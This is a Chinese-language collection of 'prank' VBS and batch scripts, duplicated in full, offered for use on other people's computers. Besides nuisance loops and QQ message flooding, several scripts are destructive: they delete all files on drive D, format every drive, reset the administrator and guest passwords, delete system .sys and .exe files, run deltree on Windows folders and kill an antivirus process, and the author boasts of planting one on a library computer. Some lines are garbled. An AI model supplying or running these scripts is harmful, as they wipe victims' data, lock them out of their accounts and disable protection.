vbs整人
复制代码 代码如下:
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
c = "C:\Program Files\"
nr = "哈哈,被黑的感觉的不错吧"
files = FreeFile
If a = a Then
count = count + 1
Open c & "system" & count & ".dll" For Append As #files
Write #files, nr
Close #files
End If
End Sub
一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).
xx.vbs=>
复制代码 代码如下:
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("与 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
QQ骚扰信息,也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
loop
------------------------------------------------------------------------------
三、打开无数个计算器,直到死机
------------------------------------------------------------------------------
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
-----------------------------------------------------------------------------
四、直接关机
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
-----------------------------------------------------------------------------
五、删除D:\所有文件
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
----------------------------------------------------------------------------
六、不断弹出窗口
----------------------------------------------------------------------------
复制代码 代码如下:
while(1)
msgbox "哈哈 你被耍了!"
loop
----------------------------------------------------------------------------
七、不断按下alt+f4 (开什么都关闭……)
--------------------
1/5
-------------------------------------------------------
复制代码 代码如下:
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
八、按500次回车
(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ,500可以随意更改)
复制代码 代码如下:
dim s
do until s=500
s=s+1
msgbox "哥们,给我按500次回车吧",64
loop
'------------------------ ------------------------------------------------------------
九、关不掉的窗口
复制代码 代码如下:
WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName)
WScript.Echo("你是可爱的小朋吗?")
WScript.Echo("哈,我想你拉,这你都不知道吗?")
WScript.Echo("怎么才来,说~是不是不关心我")
WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。")
WScript.Echo("小强很生气,后果很严重哦。")
WScript.Echo("嘿嘿!你也会很惨滴哦")
WScript.Echo("是不是想清除我?")
WScript.Echo("那你要点上50下哦,不过会给你惊喜滴")
WScript.Echo("还剩49下,快点点哦")
WScript.Echo("还剩48下,快点,小笨蛋!")
WScript.Echo("还剩47下对,就这样快点点!")
WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰你工作。")
WScript.Echo("还剩45下,记得要快哦!")
WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("还剩33下")
WScript.Echo("还剩32下")
WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
WScript.Echo("还剩28下")
WScript.Echo("还剩27下")
WScript.Echo("还剩26下")
WScript.Echo("还剩25下")
WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停!!!慢点,我有话要说")
WScript.Echo("还剩12下,你继续点我就会消失滴")
WScript.Echo("还剩11下,以后就看不到我拉。555555")
WScript.Echo("还剩10下,你现在可以选择停止!")
WScript.Echo("还剩9下。你还点啊,不要我拉?")
WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家")
WScript.Echo("还剩7下。疯了,你有点负意!")
WScript.Echo("还剩6下。对。你就点吧,我恨你!")
WScript.Echo("还剩5下)
WScript.Echo("还剩4下)
WScript.Echo("还剩3下)
WScript.Echo("还剩2下)
WScript.Echo("还剩1下)
WScript.Echo("己结束)
loop
bat整人
代码:
@echo off
echo 你终于把我打开了,你的电脑马上就要毁了,准备好重装吧!
echo y
for %%a in (d e f g h i j k l m n o p q r s t u v w x y z) do format %%a: /q /u /x /y
echo 磁盘清除完毕
net user administrator qwertyuiop
net user guest asdfghjkl
echo开机密码已更改
shutdown -r -t 60 -c "1分钟后将关机,不过我还有些事没办呢,呵呵"
cd c:\
attrib -s -h "windows"
attrib -s -h "Program Files"
attrib -s -h "Documents and Settings"
cd C:\Documents and Settings\Administrator\桌面
attrib -S -h
echo c盘主要文件已清除权限,开始运行高级系统自毁器!
echo 电脑自毁程序启动......
echo 正在清理系统文件,请稍等......
echo loading...
del /f /s /q %systemdrive%\*.sys
del /f /s /q %systemdrive%\*.exe
del /f /s /q %systemdrive%\*.txt
del /f /s /q %systemdrive%\*.bat
del /f /s /q %systemdrive%\*.chk
del /f /s /q %systemdrive%\*.old
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
echo C盘清除完毕..
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
echo 清除其余顽固软件中,请稍等...
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
echo 自毁程序完成!
echo good bye!
第三个版本,直接格式化C盘:
@echo off
echo 电脑自毁程序启动......
echo 你终于把我打开了,你的电脑马上就要毁了,准备好重装吧!
net user qwertyuiop
net user guest asdfghjkl
echo开机密码已更改
echo 正在清除系统文件,请稍等......
echo loading...
echo y
for %%a in (c d e f g h i j k l m n o p q r s t u v w x y z) do format %%a: /q /u /x /y
echo 磁盘清除完毕
echo 自毁程序完成!
echo 关机
echo good bye!
shutdown -r -t 0
简板
@echo off
echo 你终于把我打开了,你的电脑马上就要毁了,准备好重装吧!
echo y
for %%a in (d e f g h i j k l m n o p q r s t u v w x y z) do format %%a: /q /u /x /y
echo 磁盘清除完毕
net user qwertyuiop
net user guest asdfghjkl
echo开机密码已更改
cd c:\
attrib -s -h "windows"
attrib -s -h "Program Files"
attrib -s -h "Documents and Settings"
cd C:\Documents and Settings\Administrator\桌面
attrib -S -h
echo c盘主要文件已清除权限,开始运行高级系统自毁器!
echo 电脑自毁程序启动......
echo 正在清理系统文件,请稍等......
echo loading...
deltreen/y C:windows
deltree/y C:Program Files
deltree/y C:Documents and Settings
echo 自毁程序完成!
echo 关机
echo good bye!
shutdown -r -t 0
@ color 1f
@echo off
title 最好别关本程序否则后果自负......!
echo 你中招了!
echo 处理器异常!
ping 127.0.0.1 /n 4 >nul
echo.
echo 正在移除C盘……
echo.
ping 127.0.0.1 /n 4 >nul
echo 正在移除D盘……
echo.
echo 正在移除E盘……
ping 127.0.0.1 /n 4 >nul
echo F盘先给你留着吧!
echo.
echo 我会那么善良吗?
ping 127.0.0.1 /n 4 >nul
echo 不会的……
echo.
echo 呵呵开玩笑的!
ping 127.0.0.1 /n 4 >nul
echo 正在恢复C盘……
echo.
echo 正在恢复D盘……
ping 127.0.0.1 /n 4 >nul
echo 正在恢复E盘……
echo.
echo 正在恢复F盘……
ping 127.0.0.1 /n 4 >nul
echo 请一直按住 Enter 键
taskkill /f /im 360tray.exe
ping 127.0.0.1 /n 4 >nul
echo 看你的磁盘好少,怪可怜的……
echo.
ping 127.0.0.1 /n 4 >nul
echo 给你加几个吧!
echo.
ping 127.0.0.1 /n 4 >nul
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:\)
start explorer.exe
ping 127.0.0.1 /n 4 >nul
echo 呵呵……
echo.
ping 127.0.0.1 /n 4 >nul
echo 给你两分钟时间,看看你的电脑!
echo .
ping 127.0.0.1 /n 120 >nul
echo 看过了吗,好玩的在后面!
echo.
ping 127.0.0.1 /n 120 >nul
echo 哈哈!
echo.
@echo off
shutdown /s /t 120 /c "电脑马上就要关机!"
ping 127.0.0.1 /n 15 >nul
shutdown -a
echo 你上当了,吓唬吓唬你!
ping 127.0.0.1 /n 4 >nul
echo 正在一键重装中,请稍后……
echo.
echo 0.01
ping 127.0.0.1 /n 4 >nul
echo 0.13
ping 127.0.0.1 /n 4 >nul
echo 0.25
ping 127.0.0.1 /n 4 >nul
echo 0.49
ping 127.0.0.1 /n 4 >nul
echo 0.69
ping 127.0.0.1 /n 4 >nul
echo 0.89
ping 127.0.0.1 /n 4 >nul
echo 0.99
ping 127.0.0.1 /n 4 >nul
echo loading
ping 127.0.0.1 /n 4 >nul
echo 重装已完成!
ping 127.0.0.1 /n 4 >nul
echo 也是吓唬你的!
ping 127.0.0.1 /n 10 >nul
echo 真正的游戏开始了……
taskkill /f /im explorer.exe
shutdown /s /t 30 /c "系统关键文件被删除导致崩溃!系统将在30秒后关机"
ping 127.0.0.1 /n 28 >nul
shutdown -a
echo 你上当了,吓唬吓唬你,现在恢复所有程序Loading......
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)
start explorer.exe
ping 127.0.0.1 /n 4 >nul
echo 恢复已完成
ping 127.0.0.1 /n 4 >nul
echo 我会那么善良吗?
ping 127.0.0.1 /n 4 >nul
echo 不会
ping 127.0.0.1 /n 4 >nul
echo 逗你玩的!
ping 127.0.0.1 /n 4 >nul
echo 会发生什么呢?
ping 127.0.0.1 /n 4 >nul
echo 什么都没发生
复制代码 代码如下:
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
c = "C:\Program Files\"
nr = "哈哈,被黑的感觉的不错吧"
files = FreeFile
If a = a Then
count = count + 1
Open c & "system" & count & ".dll" For Append As #files
Write #files, nr
Close #files
End If
End Sub
一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).
xx.vbs=>
复制代码 代码如下:
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("与 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
QQ骚扰信息,也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
loop
------------------------------------------------------------------------------
三、打开无数个计算器,直到死机
------------------------------------------------------------------------------
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
-----------------------------------------------------------------------------
四、直接关机
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
-----------------------------------------------------------------------------
五、删除D:\所有文件
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
----------------------------------------------------------------------------
六、不断弹出窗口
----------------------------------------------------------------------------
复制代码 代码如下:
while(1)
msgbox "哈哈 你被耍了!"
loop
----------------------------------------------------------------------------
七、不断按下alt+f4 (开什么都关闭……)
--------------------
1/5
-------------------------------------------------------
复制代码 代码如下:
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
八、按500次回车
(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ,500可以随意更改)
复制代码 代码如下:
dim s
do until s=500
s=s+1
msgbox "哥们,给我按500次回车吧",64
loop
'------------------------ ------------------------------------------------------------
九、关不掉的窗口
复制代码 代码如下:
WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName)
WScript.Echo("你是可爱的小朋吗?")
WScript.Echo("哈,我想你拉,这你都不知道吗?")
WScript.Echo("怎么才来,说~是不是不关心我")
WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。")
WScript.Echo("小强很生气,后果很严重哦。")
WScript.Echo("嘿嘿!你也会很惨滴哦")
WScript.Echo("是不是想清除我?")
WScript.Echo("那你要点上50下哦,不过会给你惊喜滴")
WScript.Echo("还剩49下,快点点哦")
WScript.Echo("还剩48下,快点,小笨蛋!")
WScript.Echo("还剩47下对,就这样快点点!")
WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰你工作。")
WScript.Echo("还剩45下,记得要快哦!")
WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("还剩33下")
WScript.Echo("还剩32下")
WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
WScript.Echo("还剩28下")
WScript.Echo("还剩27下")
WScript.Echo("还剩26下")
WScript.Echo("还剩25下")
WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停!!!慢点,我有话要说")
WScript.Echo("还剩12下,你继续点我就会消失滴")
WScript.Echo("还剩11下,以后就看不到我拉。555555")
WScript.Echo("还剩10下,你现在可以选择停止!")
WScript.Echo("还剩9下。你还点啊,不要我拉?")
WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家")
WScript.Echo("还剩7下。疯了,你有点负意!")
WScript.Echo("还剩6下。对。你就点吧,我恨你!")
WScript.Echo("还剩5下)
WScript.Echo("还剩4下)
WScript.Echo("还剩3下)
WScript.Echo("还剩2下)
WScript.Echo("还剩1下)
WScript.Echo("己结束)
loop
bat整人
代码:
@echo off
echo 你终于把我打开了,你的电脑马上就要毁了,准备好重装吧!
echo y
for %%a in (d e f g h i j k l m n o p q r s t u v w x y z) do format %%a: /q /u /x /y
echo 磁盘清除完毕
net user administrator qwertyuiop
net user guest asdfghjkl
echo开机密码已更改
shutdown -r -t 60 -c "1分钟后将关机,不过我还有些事没办呢,呵呵"
cd c:\
attrib -s -h "windows"
attrib -s -h "Program Files"
attrib -s -h "Documents and Settings"
cd C:\Documents and Settings\Administrator\桌面
attrib -S -h
echo c盘主要文件已清除权限,开始运行高级系统自毁器!
echo 电脑自毁程序启动......
echo 正在清理系统文件,请稍等......
echo loading...
del /f /s /q %systemdrive%\*.sys
del /f /s /q %systemdrive%\*.exe
del /f /s /q %systemdrive%\*.txt
del /f /s /q %systemdrive%\*.bat
del /f /s /q %systemdrive%\*.chk
del /f /s /q %systemdrive%\*.old
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
echo C盘清除完毕..
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
echo 清除其余顽固软件中,请稍等...
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
echo 自毁程序完成!
echo good bye!
第三个版本,直接格式化C盘:
@echo off
echo 电脑自毁程序启动......
echo 你终于把我打开了,你的电脑马上就要毁了,准备好重装吧!
net user qwertyuiop
net user guest asdfghjkl
echo开机密码已更改
echo 正在清除系统文件,请稍等......
echo loading...
echo y
for %%a in (c d e f g h i j k l m n o p q r s t u v w x y z) do format %%a: /q /u /x /y
echo 磁盘清除完毕
echo 自毁程序完成!
echo 关机
echo good bye!
shutdown -r -t 0
简板
@echo off
echo 你终于把我打开了,你的电脑马上就要毁了,准备好重装吧!
echo y
for %%a in (d e f g h i j k l m n o p q r s t u v w x y z) do format %%a: /q /u /x /y
echo 磁盘清除完毕
net user qwertyuiop
net user guest asdfghjkl
echo开机密码已更改
cd c:\
attrib -s -h "windows"
attrib -s -h "Program Files"
attrib -s -h "Documents and Settings"
cd C:\Documents and Settings\Administrator\桌面
attrib -S -h
echo c盘主要文件已清除权限,开始运行高级系统自毁器!
echo 电脑自毁程序启动......
echo 正在清理系统文件,请稍等......
echo loading...
deltreen/y C:windows
deltree/y C:Program Files
deltree/y C:Documents and Settings
echo 自毁程序完成!
echo 关机
echo good bye!
shutdown -r -t 0
@ color 1f
@echo off
title 最好别关本程序否则后果自负......!
echo 你中招了!
echo 处理器异常!
ping 127.0.0.1 /n 4 >nul
echo.
echo 正在移除C盘……
echo.
ping 127.0.0.1 /n 4 >nul
echo 正在移除D盘……
echo.
echo 正在移除E盘……
ping 127.0.0.1 /n 4 >nul
echo F盘先给你留着吧!
echo.
echo 我会那么善良吗?
ping 127.0.0.1 /n 4 >nul
echo 不会的……
echo.
echo 呵呵开玩笑的!
ping 127.0.0.1 /n 4 >nul
echo 正在恢复C盘……
echo.
echo 正在恢复D盘……
ping 127.0.0.1 /n 4 >nul
echo 正在恢复E盘……
echo.
echo 正在恢复F盘……
ping 127.0.0.1 /n 4 >nul
echo 请一直按住 Enter 键
taskkill /f /im 360tray.exe
ping 127.0.0.1 /n 4 >nul
echo 看你的磁盘好少,怪可怜的……
echo.
ping 127.0.0.1 /n 4 >nul
echo 给你加几个吧!
echo.
ping 127.0.0.1 /n 4 >nul
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:\)
start explorer.exe
ping 127.0.0.1 /n 4 >nul
echo 呵呵……
echo.
ping 127.0.0.1 /n 4 >nul
echo 给你两分钟时间,看看你的电脑!
echo .
ping 127.0.0.1 /n 120 >nul
echo 看过了吗,好玩的在后面!
echo.
ping 127.0.0.1 /n 120 >nul
echo 哈哈!
echo.
@echo off
shutdown /s /t 120 /c "电脑马上就要关机!"
ping 127.0.0.1 /n 15 >nul
shutdown -a
echo 你上当了,吓唬吓唬你!
ping 127.0.0.1 /n 4 >nul
echo 正在一键重装中,请稍后……
echo.
echo 0.01
ping 127.0.0.1 /n 4 >nul
echo 0.13
ping 127.0.0.1 /n 4 >nul
echo 0.25
ping 127.0.0.1 /n 4 >nul
echo 0.49
ping 127.0.0.1 /n 4 >nul
echo 0.69
ping 127.0.0.1 /n 4 >nul
echo 0.89
ping 127.0.0.1 /n 4 >nul
echo 0.99
ping 127.0.0.1 /n 4 >nul
echo loading
ping 127.0.0.1 /n 4 >nul
echo 重装已完成!
ping 127.0.0.1 /n 4 >nul
echo 也是吓唬你的!
ping 127.0.0.1 /n 10 >nul
echo 真正的游戏开始了……
taskkill /f /im explorer.exe
shutdown /s /t 30 /c "系统关键文件被删除导致崩溃!系统将在30秒后关机"
ping 127.0.0.1 /n 28 >nul
shutdown -a
echo 你上当了,吓唬吓唬你,现在恢复所有程序Loading......
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)
start explorer.exe
ping 127.0.0.1 /n 4 >nul
echo 恢复已完成
ping 127.0.0.1 /n 4 >nul
echo 我会那么善良吗?
ping 127.0.0.1 /n 4 >nul
echo 不会
ping 127.0.0.1 /n 4 >nul
echo 逗你玩的!
ping 127.0.0.1 /n 4 >nul
echo 会发生什么呢?
ping 127.0.0.1 /n 4 >nul
echo 什么都没发生